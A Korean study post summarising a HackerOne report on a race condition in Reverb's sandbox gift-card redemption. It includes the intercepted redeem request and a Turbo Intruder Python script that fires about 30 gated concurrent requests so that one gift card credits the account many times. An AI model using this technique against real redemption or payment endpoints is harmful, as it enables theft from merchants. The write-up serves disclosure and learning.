본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
-분석 레포트-
https://hackerone.com/reports/759247
Summary
기프트 카드를 여러 번 사용할 수 있는 RaceCondition 취약점을 발견했다. 기프트 카드 하나로 쉽게 물건을 구매하고, 반복해서 사용할 수 있는 방법이다.
Steps to reproduce
사용된 도구 : Burp Suite Pro, Turbo Intruder
1. 로그인 진행
2. 기프트 카드를 구매한다.
3. sandbox.reverb.com/<lang>/redeem 에서 상환을 진행한다.
4. 다음과 같은 요청을 intercept 한다.
POST /fi/redeem HTTP/1.1
Host: sandbox.reverb.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sandbox.reverb.com/fi/redeem
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Connection: keep-alive
Cookie: <cookies>
utf8=%E2%9C%93&authenticity_token=<CSRF token>&token=<GIFT card>&commit=Redeem+Now
5. Turbo Intruder로 Send
6. Turbo Intruder에서 아래와 같은 python 코드를 사용해준다.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
7. 이제, HTTP Header를 설정하는데, x-request: %s 와 같이 설정해준다. ( Turbo Intruder를 위해 필요하다. )
8. Attack 클릭
9. 다수의 200 응답을 확인 가능하다.
10. Reverb Bucks를 확인한다. 이때, 기프트 카드의 실제 가치보다 훨씬 더 많은 금액이 있는지 확인한다.
Impact
Race Condition 취약점을 통해 거의 무료로 돈을 탈취할 수 있다.